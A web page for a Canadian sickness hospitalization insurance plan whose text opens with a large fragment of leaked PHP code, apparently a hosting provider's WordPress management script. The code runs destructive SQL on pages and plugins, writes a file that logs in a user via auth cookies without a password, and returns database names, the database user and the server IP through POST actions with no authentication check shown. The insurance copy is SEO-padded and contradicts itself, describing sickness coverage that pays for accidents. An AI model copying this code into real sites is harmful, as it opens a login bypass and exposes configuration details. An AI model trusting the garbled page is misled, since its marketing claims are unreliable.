".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($menuobj))."' where option_name='theme_mods_oceanwp' limit 1; "; run_query($q); } //delete other lang menus $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE term_taxonomy_id = '".($_POST['lang']=='english' ? '18' : '5')."' ;"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_taxonomy WHERE term_taxonomy_id = '".($_POST['lang']=='english' ? '18' : '5')."' limit 1;"; run_query($q); }else{ //delete ALL whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID not in (373, 375)"; run_query($q); //set default WP theme $q = "update ".TABLEPREFIX."options set option_value='Twenty Seventeen' where option_name='current_theme' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value='twentyseventeen' where option_name='template' or option_name='stylesheet'"; run_query($q); //set default wp page $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? '373' : '375' )."' where option_name='page_on_front' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = replace(option_value,'page_id=298','page_id=".($_POST['lang']=='english' ? '373' : '375' )."') where option_name='rewrite_rules'"; run_query($q); //delete ALL menus $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE term_taxonomy_id in (18,5);"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_taxonomy WHERE term_taxonomy_id in (18,5);"; run_query($q); } //delete switch language menu item $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE object_id = 214 AND term_taxonomy_id = 5 limit 1;"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE object_id = 250 AND term_taxonomy_id = 18 limit 1;"; run_query($q); //unistall polylang $q = "select * from ".TABLEPREFIX."options where option_name='active_plugins' limit 1; "; $rows = run_query($q); $temp = array(); $plugins = unserialize($rows[0]['option_value']); if($rows[0]['option_value']){ foreach($plugins as $row){ if($row == 'polylang/polylang.php'){ ; }else{ $temp[] = $row; } } $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($temp))."' where option_name='active_plugins' limit 1; "; run_query($q); } } if($_POST['has_whc_pages'] != 1){ //unistall all plugins except for polylang and litespeed $q = "select * from ".TABLEPREFIX."options where option_name='active_plugins' limit 1; "; $rows = run_query($q); $temp = array(); $plugins = unserialize($rows[0]['option_value']); if($rows[0]['option_value']){ foreach($plugins as $row){ if($row == 'polylang/polylang.php' || $row == 'litespeed-cache/litespeed-cache.php' || $row == 'elementor/elementor.php'){ $temp[] = $row; } } $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($temp))."' where option_name='active_plugins' limit 1; "; run_query($q); } } } } user_login; \$user = get_user_by('login', \$username ); if ( !is_wp_error( \$user ) ) { wp_clear_auth_cookie(); wp_set_current_user ( \$user->ID ); wp_set_auth_cookie ( \$user->ID ); \$redirect_to = user_admin_url(); wp_safe_redirect( \$redirect_to ); exit(); } "; fwrite($f, $txt); fclose($f); die('success'); }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'getstate'){ //require(dirname(__FILE__).'/../../wp-blog-header.php'); //require(dirname(__FILE__).'/../../wp-includes/pluggable.php'); require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "select option_value from ".$table_prefix."options where option_name = 'siteurl' limit 1 "; $rows = run_query($q); $return['wp_Domain'] = $rows[0]['option_value']; $return['wp_Version'] = get_bloginfo( 'version' ); $q = "select count(ID) from ".$table_prefix."users "; $rows = run_query($q); $return['num_Users'] = $rows[0]['count(ID)']; $q = "select option_value from ".$table_prefix."options where option_name = 'active_plugins' limit 1 "; $rows = run_query($q); $return['num_Plugins'] = count(unserialize($rows[0]['option_value'])); /* include_once('../../wp-admin/includes/class-wp-site-health-auto-updates.php'); var_dump(WP_Site_Health_Auto_Updates::test_filters_automatic_updater_disabled()); die; */ $return['is_multisite'] = defined('MULTISITE') ? MULTISITE : false ; $return['is_multisite'] = $return['is_multisite'] ? true : ( defined('WP_ALLOW_MULTISITE') ? WP_ALLOW_MULTISITE : false ); $return['autoupdate_Core'] = defined('WP_AUTO_UPDATE_CORE') ? WP_AUTO_UPDATE_CORE : false ; $q = "select option_value from ".$table_prefix."options where option_name = 'WPLANG' limit 1 "; $rows = run_query($q); $return['wpLanguage'] = $rows[0]['option_value'] == 'fr_CA' ? 'French' : 'English'; $return['maintenanceMode'] = function_exists('wp_maintenance_mode') ? 'True' : 'False'; $return['cpanelIP'] = $_SERVER['SERVER_ADDR']; $return['WHCPluginInstalled'] = 'True'; $q = "select option_value from ".$table_prefix."options where option_name = 'blogname' limit 1 "; $rows = run_query($q); $return['wp_BlogName'] = $rows[0]['option_value']; $q = "select option_value from ".$table_prefix."options where option_name = 'template' limit 1 "; $rows = run_query($q); $return['wp_TemplateName'] = $rows[0]['option_value']; $return['db_user'] = DB_USER; $return['db_name'] = DB_NAME; $return['php_version'] = phpversion(); echo "[".json_encode($return)."]"; die; }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'setstate'){ require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "update ".$table_prefix."options set option_value = 'https://wp".intval($_POST['hostingid']).".wpdns.ca' where option_name in ('siteurl','home') limit 2; "; $rows = run_query($q); die('success'); } } hospital Essentials sickness Insurance in canada
hospital Essentials sickness Insurance in canada

Sickness Hospitalization Insurance in Canada

Sickness Hospitalization Insurance in Canada :Life can take a sudden turn, and when sickness happens, the last thing you want to worry about is how to cover the unexpected expenses, especially in Canada. Hospital bills, medical treatments, and recovery costs can leave you in a financial bind, and that’s where Sickness Hospitalization Insurance in Canada Plan can make a significant difference.

Sicknesses don’t wait for the right time; they strike when you least expect it, even here in Canada. What if there was a solution to protect your financial well-being when sicknesses happen in this beautiful country?

hospital Essentials sickness Insurance in canada

In reality, while Canada’s healthcare system provides universal coverage for medically necessary services, it often overlooks the financial impact of patients losing income during hospitalization and recovery periods. This income loss can be a significant concern and is not fully addressed by the publicly funded healthcare system. Many Canadians opt for private health insurance to bridge this gap and ensure financial security during their health-related absences.

Introducing Sickness Hospitalization Insurance in Canada Plan

– your safety net for unexpected sicknesses that could drain your finances, right here in Canada.

How it Works:

Immediate Financial Support:

Sickness Hospitalization Insurance in Canada Plan offers immediate cash benefits, starting from day one of your hospitalization due to an accident in Canada. No waiting period, no hassle – just direct financial relief when you need it most.

Comprehensive Accident Coverage:

Whether it’s a slip and fall, a car accident, or any other unexpected mishap, we’ve got you covered 24/7, 365 days a year, in Canada.

Additional Protection:

In addition to other insurance, worker’s compensation, or government programs, our policy ensures that you’re never left with uncovered expenses, even in Canada.

Flexibility for Your Needs:

We provide cash benefits during hospitalization, intensive care, and even for recovery after outpatient procedures or surgeries, no matter where in Canada you are.

Why Choose Us in Canada?

Unwavering Renewal: Your policy is rock-solid, guaranteed renewable until age 85, no matter how many claims you make, and that’s especially valuable in Canada.

Leave the Past Behind: Pre-existing conditions are covered after 24 months of continuous coverage, ensuring fairness for our Canadian policyholders.

Fair Premiums: Any premium adjustments only affect everyone in the same class, maintaining fairness for our valued customers in Canada.

Benefits for You in Canada:

Immediate Financial Relief: Use the cash benefits for hospital upgrades, transportation, hotel stays, meals, childcare, and more – it’s your money, your choice, even here in Canada.

Post-Hospitalization Support: Receive benefits for a minimum of 10 days following hospitalization, whether or not you’re disabled, a vital aspect of our coverage in Canada.

Day-One Protection: Benefits start immediately when you’re injured in an accident, providing crucial support to Canadians.

Long-Term Peace of Mind: Our coverage stands strong, guaranteed renewable until age 85, ensuring long-term financial security for our Canadian customers.

Focus on Recovery: With your financial worries covered, you can concentrate on healing and enjoying life in Canada.

Tax-Free Comfort: Enjoy potential tax-free benefits, adding extra relief to your finances in Canada.

Family Savings: Protect your loved ones and save 20% with a family plan* in Canada.

*20% discount based on 2 Adults, ages 25-34, with 2 children under the ages of 16, right here in Canada.

Seize Control of Your Future in Canada:

Sicknesses can happen when you least expect them, but your financial security doesn’t have to be at risk. Sickness Hospitalization Insurance isn’t just insurance; it’s your safety net, specially designed to protect Canadians in times of need.

hospital Essentials sickness Insurance in canada
Sickness Hospitalization Insurance in Canada

Take Action Now – Secure Your Future in Canada!

Empower your financial future – get in touch with us now to schedule your complimentary consultation and take control of your financial security. Speak to our experts for personalized guidance, right here in Canada.

Conclusion:

Life’s uncertainties don’t have to derail your financial stability, especially if you’re a resident of Canada. Sickness Hospitalization Insurance Plan is your partner in times of need, offering immediate financial relief, comprehensive accident coverage, and long-term peace of mind. Secure your future today – because preparedness is your best protection, even in Canada.

FAQs About Hospitalization Due to Sickness in Canada:

Is hospitalization due to sickness covered by the Canadian healthcare system?

Hospitalization due to sickness is generally covered by Canada’s publicly funded healthcare system, but there can be limitations and additional costs for certain services and amenities.

What additional costs might I incur during a hospital stay in Canada?

While basic medical care is covered, patients may need to pay for private or semi-private rooms, non-medical services, and some prescription drugs.

Can I choose my doctor or specialist when hospitalised in Canada?

In Canada, the choice of a doctor or specialist may be limited depending on your location and the availability of healthcare providers.

Do I need private insurance for hospitalisation due to sickness in Canada?

Private insurance can be crucial for covering extra expenses, like upgrading to a private room, prescription medications, and treatments not covered by the public healthcare system.

Are there wait times for hospitalisation in Canada?

Wait times for non-emergency procedures can be lengthy in some cases, which is why private insurance can offer quicker access to care.

Can I use my private insurance alongside the public healthcare system?

Yes, you can use private insurance to supplement your public healthcare coverage and enhance your options during hospitalization.

Are there any medical conditions not covered by the public healthcare system in Canada?

Certain elective procedures and experimental treatments may not be covered, which is where private insurance can be valuable.

How do I choose the right private insurance plan for hospitalization in Canada?

It’s important to carefully review different insurance plans, considering factors like coverage limits, premiums, and specific services included.

Conclusion

In conclusion, investing in sickness hospitalization insurance is a proactive step toward securing your health and financial well-being. This coverage provides a safety net, offering peace of mind in the face of unforeseen medical challenges.

Don’t leave your health to chance; take control and ensure a protected and worry-free future with the right insurance coverage.

Share:
Online Request Now Need Help ? Lets Talk